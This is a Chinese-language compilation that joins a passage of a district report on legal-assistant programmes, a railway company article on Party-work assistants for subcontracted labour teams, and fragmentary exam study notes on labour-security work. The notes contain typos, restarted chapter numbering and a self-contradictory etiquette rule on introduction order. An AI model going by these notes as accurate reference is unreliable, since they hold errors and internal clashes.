一是促进大调解。法治协理员在履行职责的同时, 要以维护社会和谐稳定为目标, 加强与所派任单位的工作对接, 定期排查、及时了解和掌握在大开发、大建设、大发展过程中出现的债务、征地、拆迁、劳资、建设、规划、环境污染等方面的矛盾纠纷信息, 并协助所派任单位及时化解矛盾纠纷苗头。
二是参与综合治理。利用法治协理员这一平台, 积极开展民调、参与社会治安综合治理, 为基层单位提供有力的法律服务。
三是构建维稳平台。法治协理员积极引导社会主体的行为规范, 通过参与定期通报、联席会议、矛盾纠纷排查等活动, 分析社会矛盾纠纷的运行态势, 为落实解决纠纷的工作机制和具体措施建言献策。通过具体疏导工作, 促成息诉息访, 主动了解涉稳及群体性纠纷事件, 做好预防工作, 维护社会稳定。
四是开展法制宣传。针对辖区群众法律意识相对较低的情况, 法治协理员坚持“走进民众、关注民情、贴近民生、解决民忧”的工作方针, 充分发挥专业优势, 大力加强法制宣传, 进行普法教育, 提高群众的学法、守法、用法能力, 在全社会营造崇尚法律的良好氛围。
(四) 完善激励机制, 建立长效管理
连云区不断完善对法治协理员制度的指导与管理, 将该制度与考核、评比、表彰相挂钩, 促进该项工作的持续、稳步、健康发展。一是纳入考核体系。二是作为个人评比参考依据。三是利用网络, 加强指导, 总结经验。
(五) 加强硬件建设, 夯实工作基础
几年来, 连云区加强法治协理员工作的物质保障, 为该项工作的顺利开展奠定了物质基础。为法治协理员设置了办公场所, 同时, 克服经费困难, 加大投入, 配备了必要的办公设施, 优先保障车辆使用。
三、实际效果
经过几年的积极实践, 连云区在法治协理员制度的运用和推广方面总结和积累了一些经验, 取得了明显的成效。
一是提升了决策的公正性和高效性, 拓展了化解基层社会矛盾纠纷的新渠道, 有利于促进社会和谐稳定。通过法治协理员参与派任单位的决策, 有针对性地提供参考意见的方式, 一定程度上减少了因法律专业知识匮乏而导致错误决策情况的发生, 在法律适用上少走弯路, 提高了决策的准确性和效率, 增强了人民群众的认同感。同时, 该制度的实施, 也促进了多元化纠纷解决机制的建立, 拓展了利用法治资源化解矛盾纠纷的渠道, 对基层和谐稳定发挥了重要作用。
二是强化了基层法治建设的透明度, 有利于扩大法制宣传的覆盖面和影响力。法治协理员制度通过引入法律专业人士参与基层治理, 增强了基层单位与人民群众的联系和沟通, 有助于派任单位了解基层社情民意, 为派任单位做出符合人民群众意愿的、能够获得公众支持和拥护的行政行为奠定了基础, 同时也为群众充分了解派任单位工作程序和内容提供了交流平台。并且有效地拓展了法制宣传的途径和影响, 引导基层群众树立学法、守法、用法的意识。
三是增强了公职人员的综合素质和法律素养, 有利于推进基层公务员队伍职业化建设。法治协理员制度不仅能够帮助派任单位及其工作人员拓宽视野, 弥补法律专业知识匮乏的缺陷, 为今后依法治理提供信息储备, 而且能够帮助其不断强化对法律的运用能力, 提高其综合素质和法律素养, 为推进公务员队伍职业化建设创造条件。
四是提供了一种全新的优化基层法治建设的途径。法治协理员制度通过协理员参与基层法治建设, 依据自己的法律专业知识独立作出判断, 提供相关的法律意见, 克服了法律顾问受制于当事人利益的局限, 真正起到了优化法治建设的作用, 创造性地解决基层法治问题。实践证明, 法治协理员制度的推广, 在整体上取得了积极成果。经过多年的努力, 基层法治整体水平和社会整体法律意识已有了明显提高的情况下, 即使在经济和法治建设发展不平衡的地区也同样能适用。
五是密切了政府和群众的关系, 优化了经济发展软环境。通过构建法治协理员这一平台, 促进了促进基层群众和派任单位的沟通和交流, 在二者之间架起一座桥梁, 密切了政府和群众之间的关系。法治协理员制度已经成为基层政权贴近百姓、服务大局、法治为民的一个亮点。同时, 该制度的实施, 进一步净化了全区经济社会发展的法治环境, 对于吸引外来投资和本地区经济的健康发展亦起到了优化作用。
四、进一步完善法治协理员制度应注意把握的几个问题
派任法治协理员工作是一项全新的改革措施, 缺少可以借鉴的成功经验, 因此, 应注意把握和处理好以下几个问题:
(一) 应注意与后继改革相配套。
作为阶段性改革举措的法治协理员制度, 就其价值而言, 尚属过渡性举措, 要想具有较强的生命力, 推动基层法治建设, 必须要注意与相应的配套措施和工作制度相结合, 与基层社会的政治、经济、文化建设相衔接。
(二) 注意正确处理与派出单位、派任单位之间的关系。
法治协理员是派出单位选派的人员, 要服从派出单位领导和工作安排, 协调好本职工作和派任工作之间的关系;同时要将协理工作作为其工作职责的一部分, 处理好与派任单位的关系, 尽心尽力为派任单位提供法律服务和支持, 既要“协理不代理”, 也要“到位不越位”。
(三) 实行动态管理, 建立健全科学的监督考核机制。
要对法治协理员实行动态管理, 定期进行监督考核, 确保该项工作不流于形式。
(四) 法治协理员的责、权、利必须落实到位。
要明确法治协理员的责任和权利, 优其待遇, 特别是在褒奖和提拔任用、岗位津贴方面要有举措, 以便为法治协理员工作机制的良性运行创造良好的条件。
(五) 加强物质保障。要提供必要的办公场所、办公设备、办公经费。
(六) 教育引导、转变观念、调整心态, 充分认识法治协理员派任工作的意义。
中铁五局六公司现有劳务协作队伍60余家，人员近3 500人，是公司自有员工的2倍之多，分布于公司19个在建项目。如何对他们加强管理？自2013年5月以来，中铁五局六公司党委通过开展党群工作协理员委派制试点工作，初步探索出一条切合企业发展需要、符合党建创新要求的新路子，极大地提升了企业服务协作队伍的能力和水平，受到协作队伍和广大劳务工欢迎。
以组织建设为抓手
构建科学规范的运行机制
实践中施工企业认识到，要加强协作队伍管理，必须有一支思想素质好、工作责任心重、协调沟通能力强的协理员队伍，让他们既成为沟通的桥梁，也成为心灵的信使，以便更好地化解矛盾、凝聚人心，发挥好协作队伍应有的作用。中铁五局六公司党委以组织建设为抓手，建立健全党群协理员工作体系和运行机制，形成了“覆盖全面、制度健全、督导到位”的工作思路，推进党群协理员工作有序运行、取得实效。这之中，公司党委主要做了：
体系覆盖全面。公司党委结合项目地域分散、区域相对集中的实际特点，主导研究确立了“公司统筹协调，项目抓好落实”的组织管理体系，成立了以党委书记、董事长陆劲松为组长、党委副书记、纪委书记晏学武和工会主席谭建平为副组长、机关党群部门负责人为组员的领导小组，全面指导协理员工作。根据项目规模大小、劳务队伍数量及项目工期长短、工作环境的复杂程度等实际情况，公司在19个项目中选聘了32名具有较高素质的党员，作为公司党群工作协理员，融入到协作队伍中，认真履行“六大员”职责，帮助协作队伍开展党建、工会和共青团等工作，积极构架与劳务单位及劳务工沟通桥梁，努力当好“三方利益代表”，切实保护农民工的合法权益、协调与劳务队伍的摩擦纠纷、维护项目的形象利益，确保项目施工生产顺利进行。项目党组织也积极与公司党委开展对接工作，作为第一责任人的项目书记组织本项目协理员工作，以实现“一级抓一级，层层有落实”的工作目标。
制度建立健全。2013年5月，公司党委出台了《六公司关于向劳务队伍委派党群工作协理员的指导意见》及《六公司向劳务队伍委派党群工作协理员的实施办法》。在实施过程中，公司党委结合实际于2014年9月下发了《六公司工程项目部党群工作协理员管理办法》和《六公司党群工作协理员考核评价办法》，从组织领导、人员选聘、学习培训、考核监督等方面提出了指导性要求，并配合《考核办法》制订出《六公司党群工作协理员履职情况考核评分表》及《六公司党群工作协理员工作群众评议表》，逐步完善了内部激励机制，全面落实党群工作协理员津贴制度、专项评先表彰办法等，为党群工作协理员提供工作便利条件和作用发挥渠道。各单位也结合实际，制订各项规章制度，从制度层面对党群工作协理员的工作职责、工作内容和考核事项进行具体说明，便于协理员工作明确，利于操作。
督导公开到位。在推进过程中，党群工作协理员实行“三公开”，即公开身份、公开电话、公开职责，确保工作有人管、问题有人抓。由于党群协理员工作是一项创新性工作，需要在工作实践中不断摸索。2013年7月，公司党委在沪昆项目部召开党群工作协理员现场推进会，讨论交流协理员工作经验，及时修订完善现行制度。2014年8月，公司党委专门成立调研组深入沪昆、贵开两个项目部进行现场检查，从制度完善、队伍管理、作用发挥等各方面进行了督查指导。目前，公司32名党群工作协理员三公开落实覆盖率为100%，为党群工作协理员工作有序开展创造了良好条件。
以党建工作为抓手
增强思想政治工作活力
开展党群协理员工作，只有从思想上树立正确的群众观念，在工作上坚持正确的群众路线，充分发挥党建思想政治工作优势，不断丰富工作方式方法，有效发挥党建思想政治工作的纽带作用，才能为党群协理员工作发挥作用、服务生产、增强活力创造良好条件。
抓业务培训，提升协理员工作效能。2014年12月，公司党委举办党群工作协理员培训班，对32名党群工作协理员进行全方位岗位培训，内容涉及党群工作协理员委派制、劳务队伍组织化管理、工会主要工作介绍、劳务管理中的法律问题、项目党风廉政建设及文化与管理等方面，使协理员明职责、知制度、懂内容、有方法，尽快适应履职需求。图文并茂、生动活泼的培训，达到了学习交流的办班目的，公司正式聘任了32名党群工作协理员，并分别与各位协理员签订了《党群工作协理员目标责任书》。
建激励机制，促使劳务工各显神通。党群工作协理员不是发号施令的“钦差大臣”，而是要做实实在在工作的勤务员。西成项目部在开展劳务工技能培训中，2名党群工作协理员就主动协助项目经理制订了鼓励工艺革新、小改小革的激励机制，组织广大员工和劳务工积极投身到工艺革新实践中。他们应用的“钢筋整体绑扎工艺”与传统分体式绑扎相比，不仅使箱梁实体质量更加稳定，更有效提高工效，并且张拉施工环节中应用的智能张拉设备，与传统设备相比具有精度高、持荷时间可控、高效率、高同步率的显著优势，此项技术推广运用后获得了业主“绿牌”一张。技术小改革的内嵌式张拉油顶，使每孔箱梁节约钢绞线约800元，仅此一项就为项目节省资金数十万元。
抓人文关怀，营造和谐温馨之家。立足服务生产，造福劳务工，党群工作协理员经常深入班组，听民声、察民情、解民忧，让劳务工切实感受到企业的关怀和家的温暖。按照公司党委要求，各项目部劳务工生活区做到统一生活用房，统一配置室内基本设施，统一生活、学习、娱乐活动场所；每逢中秋、春节等节假日，党群工作协理员主动配合项目领导对坚守施工一线的劳务人员进行慰问，周末节假期间，安排劳务人员和员工一起开展文娱活动，为劳务队伍购买防暑降温药品等。
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与此同时，协理员坚持勤走访、多沟通，从思想层面融入到协作队伍中，不断拉近彼此之间的心理距离。2014年8月中旬，上海轨道交通13号线一期工程协作队伍内部进行“大换血”，去与留根据自愿原则，钢筋班号称“七小矮人”犹豫不决，为不耽误工作协作队伍负责人果断更换了工班全体人员，“七小矮人”不服气，找协作队伍负责人又吵又闹，并坐到项目经理部闹事。该项目协理员了解缘由后，耐心细致地做好其思想工作，项目部领导也及时解决资金问题，使劳资双方认可满意，化解了群体矛盾。据统计，公司各项目处置劳务工矛盾纠纷达19起。
以创新工作为抓手
服务生产营造双赢
为使公司党群工作协理员工作出亮点、见成效，公司各级党组织积极探索党群工作协理员工作的新思路、新方法、新举措，努力营造出和谐双赢的浓厚氛围。
积极探索“五小”工作法，促进工作落到实处。公司党委积极探索党群工作协理员工作方式方法，提出了“五小”工作法（讲清小道理、解决小问题、开展小活动、做好小事情、宣传小人物）。在实际操作过程中，党群工作协理员深入协作队伍中，以小道理、小问题、小事情、小活动、小人物来让劳务工们感受到组织的关怀，让他们感受到先进就在身边，关怀就在眼前，产生“一叶知秋”“一枝一叶总关情”的效果。
协理员工作与施工生产相结合，确保工作融入中心。公司党委将党群工作协理员工作与提升工程项目施工管控水平相结合，积极探索在项目安全、质量、工期、效益、形象等方面开展好党群工作协理员工作的有效途径。各单位党群工作协理员主动带头服务协作队伍，服务施工现场，创造良好联动互动大干氛围。公司沪昆项目部提出的“和谐共建用四心，党群协理保稳定”工作法，使协理员深入劳务队伍中、倾听声音、热心帮扶，促进了党群协理工作持续有效开展。西成项目部实行“内外结合，全面展开”，使党群协理员工作向项目管理、架子队管理纵向延伸，为协作队、项目部施工创造了良好的施工环境。
突出特色紧扣实际，确保工作开花结果。为使公司党群工作协理员工作形成具有自身特色的党群工作新品牌，各项目部党工委结合公司党委主题党建活动，开展了系列符合项目特色的党建活动，鼓励和带动劳务工积极融入党组织，调动劳务工队伍和劳务工积极性，实现了项目党建工作向外协劳务队伍延伸。2014年，公司党委先后组织开展了“党旗红、当先锋、争第一”、安全生产月、“党员身边无事故”、青年安全生产监督岗等劳动竞赛活动。成绵乐项目部紧扣项目实际，将劳务工中的党员纳入基层党支部的日常管理，引导他们在生产和生活中充分发挥党员的先锋模范作用，有力地促进了企业稳定和健康发展。南京地铁项目部开展“精细化管理知识竞赛”，吸纳了95%以上的协作队伍劳务工参赛，大大激发了劳务工的积极性。
通过探索实践，公司党群协理员工作促进了项目部协作队伍管理，也从思想上、组织上、制度上促进了协作队伍稳定，形成了项目部与协作队伍良性互动、和谐共赢的局面，有力地保障了施工生产和各项管理措施的落实，提高了项目的管理水平和盈利能力。
（责任编辑：李万全）
一、职业道德的主要内容
为人民服务是社会主义职业道德的核心，集体主义是社会主义职业道的原则，爱祖国、爱人民、爱劳动、爱科学、爱社会主义是社会主义职业道德的基本要求。
二、职业道的的基本特征
1、鲜明的职业性
职业道德源于职业生涯，它反映各行各业的职业特点，鲜明地表达着职业义务、职业责任以及职业行为上的道德准则。
2、内容、形式的多样性
3、较强的适应性
因为职业道德总是同一种专门的职业紧密联系在一起，在适用范围和对象上，不是普遍的、无限的，而是特定的、有限的，它只是适用于专门从事本职业的人。因此，职业道德有很强的针对性，并且容易为本行业从业人员理解、接受、掌握和践行，这充分显示了其较强的适用性。
三、职业道德的作用
1、培养具有职业道德品质的劳动者，促进事业发展。
2、调整职业关系，为共同的目标努力奋斗
3、选择正确的工作态度和行为，在职业实践中实现人生价值
4、通过职业岗位传递道德情操，提高整个社会的道德风尚
四、职业道德修养
职业道德修养是指从业人员在道德意识、道德行为方面的自我锻炼、自我改造和自我提高，在职业实践中所形成的道德品质以及应达到的职业道德境界。
职业道德修养来源于两个方面的因素：一方面是外在客观条件的因素，即职业道德教育、职业实践活动、职业道德评价等；另一方面是从业人员内在主观上的修养，这是一种自律行为，关键在于自我锻炼和自我改造。
五、劳动保障协理员职业守则
1、执行法律、法规，注重政策落实
2、热爱本职工作，提高能力水平
3、坚持以人为本、提高优质服务
4、增强全局意识、做到团结协作
5、廉洁奉公守法、抵制不正之风
六、窗口服务用语
我们很愿意帮您熟悉有关规定。
七、服务忌语
1、你怎么还不明白！
2、你怎么还没听清楚？
3、要下班了，明天再来。第二章：劳动就业
一、就业的概念：就业就是指法定劳动年龄，具有劳动能力的人员，依法从事获得相应的劳动报酬或经营收入的社会经济活动。
二、失业的概念：失业是指在法定劳动年龄内的劳动者有劳动能力和就业要求，目前没有工作的一种状态。
三、失业的主要类型
1、非自愿失业 非自愿失业主要有以下几种类型。1）摩擦性失业。2）结构性失业 3）季节性失业 4）周期性失业 5）隐性失业
2、自愿失业
四、就业服务的种类
按照提供服务主体的不同，就业服务可分为两类：一类是由公共就业服务机构提供的公益性就业服务；另一类是由职业中介机构提供的经营性为主的就业服务。
五、公共就业服务机构的主要服务内容
1、向劳动者提供免费就业服务（1）、就业政策法规咨询（2）、就业与培训信息发布（3）、职业指导和职业介绍服务（4）、实施就业援助
（5）办理就业与失业登记事务（6）其他公共就业服务
2、向用人单位提供的服务（1）、招聘用人指导服务（2）、代理招聘服务（3）、跨地区人员招聘服务（4）、企业人力资源管理咨询等专业性服务（5）、劳动保障事务代理服务（6）、为满足用人单位需求开发的其他就业服务项目
六、促进高校毕业生就业措施
1、拓展就业领域
2、鼓励基层就业
3、鼓励自主创业
4、支持青年见习
5、加强就业服务
七、社会保险与商业保险的区别
1、性质不同
2、对象不同
3、实施方式不同
社会保险采用强制方式实施，商业保险采取自愿原则。
4、保险关系建立的依据不同
5、保障水平不同
6、保险费的承担者不同
7、经营主体不同
8、经营目的不同
八、养老保险
1、特征（1）、普遍需求（2）、地位特殊（3）、长期积累（4）、管理复杂
2、种类（1）、按我国现行养老保险覆盖对象分，可分为城镇企业职工养老保险，机关、事业单位养老保险和农业养老保险。城镇企业职工养老保险的覆盖范围是城镇所有企业包括个体、私营企业的劳动者及实行企业化管理的事业单位职工。（2）、按性质和功能分类，可分为基本养老保险、企业年金和个人储蓄性养老保险。
九、工伤保险
工伤保险也称为职业伤害保险，是指劳动者在工作中或在规定的某些特殊情况下，因遭受意外伤害和患职业病，暂时或永久丧失劳动能力以及死亡时，劳动者或其遗嘱从国家和社会获得物质帮助的一种社会保险制度。
十、医疗保险
1、特征（1）、待遇支付形式为非定额费用补偿（2）补偿期短但收益时间长（3）涉及关系复杂
（4）待遇支出的不确定性
第四章：退休人员社会化管理服务
一、退休人员社会化管理服务属于社会保障社会化管理服务的范畴。
二、企业退休人员社会化管理服务是指职工办理退休手续后，其管理服务工作与原企业相分离，养老金实行社会化发放，人员移交城市街道和社区实行属地管理，由社区服务组织提供相应的管理服务。
三、企业退休人员社会化管理服务的基本形式是社区管理。
四、企业退休人员社会化管理服务的过渡形式
1、委托企业管理
在远离城市的独立工矿区和企业退休人员居住的比较集中的企业生活区。
2、社会保险经办机构直接管理
3、其他形式
五、退休人员社会化管理服务的主要内容
1、落实社会保险待遇
2、开展党组织活动
3、提供医疗保险服务
4、组织文化体育活动
第五章：劳动保障法律、法规
一、社会保险法的原则：
1、社会保险水平与社会生产力发展水平相适应的原则
2、社会保险权力与义务相统一的原则
3、社会保险一体化和社会化相统一的原则
4、建立多层次社会保险制度的原则
5、保障功能与激励功能相结合的原则。
二、劳动合同的订立
1、劳动合同应当具备以下条款。（1）、用人单位名称、住所和法定代表人或者主要负责人。（2）、劳动者的姓名、住址和居民身份证或者其他有效身份证件号码。（3）、劳动合同期限。（4）、工作内容和工作地点（5）、工作时间和休息、休假。（6）、劳动报酬（7）、社会保险
三、劳动者可以立刻解除劳动合同的情形
1、用人单位未及时足额支付劳动者报酬
2、用人单位以暴力、威胁或者非法限制人身自由的手段强迫劳动者劳动的
3、用人单位违章指挥、强令冒险作业危及劳动者人身安全的。
四、经济补偿的计算
经济补偿按劳动者在本单位工作的年限，满一年支付一个月工资的标准向劳动者支付。六个月以上不满一年的，按一年计算；不满六个月的，向劳动者支付半个月工资的经济补偿。
五、解决劳动争议的处理方式：协商、调解、仲裁和诉讼。
六、劳动保障行政部门实施劳动保障监察的具体事项
1、用人单位制定内部劳动保障规章制度的情况
2、用人单位与劳动者订立劳动合同的情况
3、用人单位遵守禁止使用童工规定的情况
4、用人单位遵守女职工和未成年工特殊劳动保护规定的情况
5、用人单位遵守工作时间和休息休假规定的情况
6、用人单位支付劳动者工资和执行最低工资标准的情况
7、用人单位参加各项社会保险和缴纳社会保险费的情况 第六章：社区工作者与基层劳动就业社会保障工作
一、社区的构成要素
1、人口要素
2、地域要素
3、组织结构要素
4、文化心理要素
5、公共服务设施
二、社区服务的基本原则
1、坚持以人为本的原则
2、坚持社会化的原则
3、坚持分类指导的原则
三、任务职责：街道（乡镇）劳动就业社会保障服务中心（所）１、政策法规咨询
2、公共就业服务
3、社会保障服务
4、劳动关系协调
5、指导监督管理
6、承办其他工作
第七章：统计与社会调查
一、统计工作的过程
统计设计、统计调查、统计整理和统计分析
二、社会调查的过程按工作性质划分：准备、实施、总结三个阶段 第八章：公共利益与人际沟通
一、自我介绍与介绍他人
介绍他人时，要先介绍身份较低的一方，然后再介绍身份较高的一方。即先介绍主人，后介绍客人；先介绍职务较低者，再介绍职务较高者，先介绍男性，再介绍女性；先介绍长辈，再介绍晚辈；先介绍个人，再介绍集体。
二、沟通的基本要素：信息源、听众、沟通目标、环境、信息、媒介、反馈等。
三、人际沟通的特点：
1、沟通双方要有共同的沟通动机
2、沟通双方都是积极的参与者
3、沟通过程会使沟通双方产生相互影响
4、沟通双方要有相同的沟通能力
5、在人际沟通过程中，有可能产生完全特殊的沟通障碍
第一章：社区劳动力和退休人员信息管理
一、调查方案内容：主要包括目的和内容、调查对象和范围、调查方法、调查的组织安排。
二、对调查方案进行可行性研究的方法
1、逻辑分析
2、经验判断
3、试验调查
三、开展试验调查的工作程序
1、选择适当的试查对象
2、组织精干的调查队伍
参加对象：调查的领导者、组织者和调查方案的设计者，若干有经验的调查人员、吸收少量缺乏经验的调查人员
3、采用灵活的调查方法
4、进行多点的对比调查
四、澄清：您说的究竟是什么意思？、你这样说的理由有哪些？、请解释一下您的意思。
五、控制访问过程的方法
1、语言控制（1）提问的方式
(2)题目转换（3）对问题的追问（4）合乎时宜的插话提问
六、做好调查日志一般应遵守以下基本原则 第一、要有被调查对象的完整资料 第二、要有选择的记录 第三、要简明扼要 第四、要有基本要件
七、问卷的基本类型
1、按问卷的结构和答题方式划分（1）标准型问卷（2）自由型问卷（3）半自由型问卷
2、按问卷的填答方式划分：自填问卷和访问问卷
八、问卷的基本结构
通常，各种问卷都包括封面信、指导语、问题和答案、其他资料等几个部分。
九、问题的语言和提问方式的设计方法（1）尽量用简单的语言（2）问题要尽量简短（3）避免双重含义的问题
（4）问题不能带有倾向性，不能对被调查者产生诱导（5）不要使用否定形式提问（6）不直接问敏感性的问题
十、问题的数目和次序的设计方法
通常一份问卷中所包含的问题数目应限制在一般的被调查者20分钟内能顺利完成为宜，最多也不能超过30分钟。
十一、答案的设计方法：要保证答案具有穷尽性和互斥性
十二、问卷调查的优缺点
优点：具有很好的匿名性、所得资料便于定量处理和分析、可以避免主观偏见，减少人为误差
缺点：弹性小、回收率有时候难以保证、调查资料的质量常常得不到保证
十三、以下几个问题影响被调查者填写问卷的欲望
1、问卷的印刷质量
2、问卷的语言生硬
3、问卷中的提问距被调查者所了解的实际问题较远
4、问卷分发、回收的组织工作差。
*信息管理台账的作用
1、提高资料的准确性
2、系统积累资料
3、为编报统计报表作准备、*台账编制的基础知识
台账的表格的上下两端应以粗线绘制，表内纵横以细线绘制，表格的左右两端一般不画线，采用“开口式”。宾栏一般位于标题的左边，宾栏项目一般为个人姓名。*编制信息管理台账的基本要求
1、分类建账
2、完整记录
3、便于填写
*编制基本台账的项目
一是个人的基本情况、二是家庭情况、三是失业和就业情况
*数据库系统的功能包括数据采集、数据存储、数据加工处理、数据输出等。*信息管理系统是一种在管理中进行资源处理、存储、调用的系统。*使用excel进行数据日常动态管理
1、创建表格
2、设立项目
3、输入信息
4、保存表格
5、查询信息
6、分类汇总 *统计分析常指对收集到的有关数据资料进行整理归类并解释的过程 *统计分析的作用和特点
运用统计分析可以透过现象表面的数量特征认识其内在数量规律性，揭示其本质特征。
1、实证性
2、数量性
3、多样性 *统计分析的常用方法
1、比较分析法（绝对差异的比较、相对差异的比较）和计划比、和过去比、和同行比。
2、结构分析法
*统计分析报告的结构
1、标题
2、开头
3、主体
4、结尾 *攥写统计分析报告的基本要求
1、反应客观事物的真实性
2、用数据和事实说明问题
3、反应事物的发展过程 *实施统计分析的程序
1、选题
2、拟定分析提纲
3、收集和整理资料
4、进行分析研究
5、攥写统计分析报告
*公文写作的特点：兼有叙述和议论的应用文体。*攥写工作经验总结的步骤
1、标题
2、导语
3、正文
4、落款
第二章：就业服务和退休人员社会化管理服务 *社区活动的类型
1、政治思想活动
2、经济社会活动
3、文体娱乐活动 *组织社区活动的方法及应注意的问题
1、明确活动目的2、根据活动目的确定活动内容
3、活动的组织实施要把握好活动前、活动中、活动后三个环节。
4、把握活动的内容与形式的结合5、务求实效 *政策宣传、咨询活动的主要形式
1、以传媒为载体的形式
2、以组织开展活动为载体的形式
3、以基层管理服务工作为载体的形式 *政策宣传、咨询活动的主要方法
1、集中学习研讨(1)动员报告、（2）总结报告、（3）专题报告、（4）座谈讨论 *策划、组织大型宣传、咨询活动步骤
1、制订方案（确立活动主题、确定活动形式、明确活动内容、安排时间地点、落实责任分工）
2、实地查看
3、部门间协调调度
4、现场调度
5、情况汇总
*个案工作以个人或家庭中的个人为主要工作对象 *个案工作的基本方式 1会谈、2访视、3记录
*提供有针对性政策指导方法
1、个体而谈指导
2、群体面授指导
3、实地场景观摩指导
4、影像资料观摩指导
*实施精细化援助服务的程序
1、了解特点和需求
2、确定援助方式
3、拟定援助方案
4、签订援助协议
5、实施分类帮扶
6、进行跟踪回访 *开发社区就业岗位的主要渠道
1、收集辖区内岗位信息
2、开发社区服务岗位
3、兴办服务实体
4、收集辖区外岗位信息 *开发社区公益性岗位
公益性岗位是指主要由政府作为出资主体，扶持或通过社会筹集资金开发的，以安置就业困难人员为主，符合社会公共利益需要的服务性岗位和协助管理岗位。*社区就业岗位信息开发流程
1、组建信息服务队伍
2、构建信息服务网络
3、拓宽信息采集渠道
4、及时发布和有效利用信息
5、信息更新和动态管理
*设计组织就业援助活动计划的主要内容
1、工作目标
2、工作任务
3、工作步骤
4、工作措施
5、组织领导
6、工作要求
*组织开展就业援助活动程序
1、制订方案
2、协调关系
3、实施援助
4、情况汇总
5、活动总结
*失业人员常见的求职挫折及其诱因
1、错位挫折
2、面试挫折
3、动因挫折
4、方式挫折
5、方法挫折
6、偏见挫折
*诊断咨询时的注意事项
1、要充分尊重每一位求职者，做到完全接纳
2、对于求职者的挫折问题要全面分析，不能主观臆断
3、要关注细节
4、要把服务过程的各个环节相互贯通
5、要注意倾听求职者的陈述，不要轻易打断求职者的陈述。*职业生涯设计的原则
1、量体裁衣原则
2、可操作性原则
3、阶段性原则
4、发展性原则
*用人单位招用员工时禁止的行为：招用未满16周岁的未成年人及国家法律、行政法规规定不得招用的其他人员 *岗位设置
1、岗位工作任务的性质
2、岗位名称
3、本岗位的责任和权限
4、承担本岗位的资格、条件及工作所需要的体力
5、本岗位工作的危险性、劳动强度、劳动空间、操作的自由度等
6、本岗位使用设备、工具的复杂程度 *向用人单位介绍本地就业形式
1、人力资源供求总量情况（登记失业率、社会失业率、就业率）
2、人力资源需求情况
3、人力资源供给情况
*帮助用人单位选择招聘方式
1、了解用人单位的需求
2、招聘成功的可能性分析
3、介绍招聘方式的种类
4、确定合理的招聘方式
5、组织落实招聘计划
*指导用人单位办理招聘备案、签订劳动合同、缴纳社会保险等
1、招聘人员分类
2、签订劳动合同
3、办理招聘备案和档案关系
4、缴纳社会保险
*社区发布招聘信息的内容
1、招聘人员的用人单位信息
2、岗位招聘信息
3、招聘会信息
*发布招聘信息的服务质量标准
1、岗位招聘信息质量标准（内容合法性、行为真实性、必备内容信息完整性、必备内容正确性、时限有效性、数量有效性）
2、招聘会信息质量标准
3、用人单位或公共就业（人才）服务机构信息质量标准 *职业培训的特点
1、针对性和实用性
2、灵活性和多样性
3、技术性和技能性
*制订培训计划的前期信息标准备程序
1、掌握失业人员的培训意向和职业期望
2、分析失业人员状况
3、汇总培训人数和专业
*制订失业人员职业培训计划的程序
1、了解失业人员培训需求
2、了解用人单位的用工需求
3、确定培训内容
4、编制培训计划
5、确定培训方式 *注意事项
组织实施失业人员职业培训，一定要纳入当地人力资源社会保障部门职业培训的管理，不得自行组织培训或与未经人力资源社会保障部门认定，不具备培训资质的培训机构合作实施。*职业资格准入的具体规定
从事就业准入的新生劳动力，就业前必须经过1-3年的职业培训 *指导选择培训项目的方法
1、了解两个主体的基本情况
2、提出合理化建议
3、尊重个人选择 *人类的需求类型
1、生理需求
3、安全需求
4、社交需求
5、尊重需求
6、自我实现需求
*对退休人员理论、文化、艺术、生活技能等需求的收集方法和步骤
1、确定收集分类需求的方法
2、整理和分类汇总
3、讨论分类和理性
4、公布分类和听取意见、建议
5、需求分类名单备案
6、进行总结
*按照退休人员的需求组织讲座
辅助工作准备、现场布置、效果评价 *对特殊群体的定期走访慰问步骤
1、制定计划
2、申请经费
3、购买物品
4、预约走访
5、走访慰问
6、记录意见
7、汇总上报
*了解本地区养老护理员队伍建设情况
1、掌握获取养老护理员资质的政策 凡直接从事养老护理工作的人员，都必须进行相应执业资格培训，经职业技能考核鉴定取得执业资格证书后，方可就业上岗或继续从业。
2、了解培训机构培训养老护理员情况
3、了解养老护理员工作情况 *养老护理服务的主要内容
为健康老人提供必要的生理、心理、社会服务；为患病老人或有肢体、器官功能障碍的老人提供基本生活服务、初级保健和肢体辅助功能锻炼。*养老护理服务的提供
1、建立更新数据库
2、了解服务机构情况
3、了解服务信息
4、匹配人员和项目
5、预约服务
6、确定时间
7、资格审查
8、服务监督
9、评价服务
10、汇总上报
*当前为退休人员提供社会化养老服务的主要场所 我国正在加快以居家养老为基础、社区服务为依托、机构养老为补充的养老服务体系建设步伐。（自己的家里、社区养老院、社会养老机构）。*入住退休人员公寓和社区养老院有关手续的办理程序
1、了解基本情况
2、进行登记
3、报告登记情况
4、联系养老机构
5、办理入住手续
6、记录入住情况 *小额担保贷款的贷前调查
1、入户调查
2、社区居委会调查
3、管片民警调查
4、经营场所调查
5、信贷记录调查 *贷后跟踪管理服务的主要方法
1、保持接触
2、核实经营情况
3、实地观察 *小额担保贷款贷后跟踪管理服务程序
1、建立小额担保贷款信用档案（签订承诺到期还款的协议书）
2、实行定期回访联系
3、建立与有关部门的联系
4、协助制订还款计划和催收还款 *记录跟踪服务的过程和结果
跟踪服务一般采取上门访谈、实地察看，走访相关人员和机构或者电话联系，有条件的还可以采用传真、电子邮件等形式。时间安排上，前期一般为一月一次，中后期一般为两个月或一季度一次。*自主创业的类型
1、按自主创业动机分类：生存型创业、机会型创业、生存与机会型创业。
2、按创业风险分类：依附型创业项目、尾随型创业项目、独创性创业项目、对抗性创业项目
3、按创业周期分类：初始创业、二次创业、连续创业 *创业服务的主要内容
创业服务包括引导和激发创业意识、政策咨询服务、创业项目推介和评估、开业指导、经营管理创新等。
*创业计划书应具备以下内容
1、创业的种类
2、资金规划
3、阶段目标
4、财务预估
5、行销策略
6、可能风险评估 *国家级充分就业示范社区申报认定
1、申报认定标准
2、业务标准（1）、社区内有劳动能力和就业愿望劳动者就业率不低于95%（2）、社区登记失业人员就业率不低于95%（3）、社区内就业困难人员就业率不低于95% 第三章：承办、协办就业和社会保险具体事务
*基本医疗保险待遇的享受条件：应当缴纳而未缴纳医疗保险费的用人单位及其职工，在足额补缴医疗保险费后，职工方可继续享受基本医疗保险待遇（补缴费期间发生的医疗费不补结算）
*失业保险金给付期限
累计缴费时间满1年不足5年的，最长能够领取12个月的失业保险金；累计缴费时间满5年不足10年的，最长能够领取18个月的失业保险金；累计缴费时间10年以上的，最长能够领取24个月失业保险金。
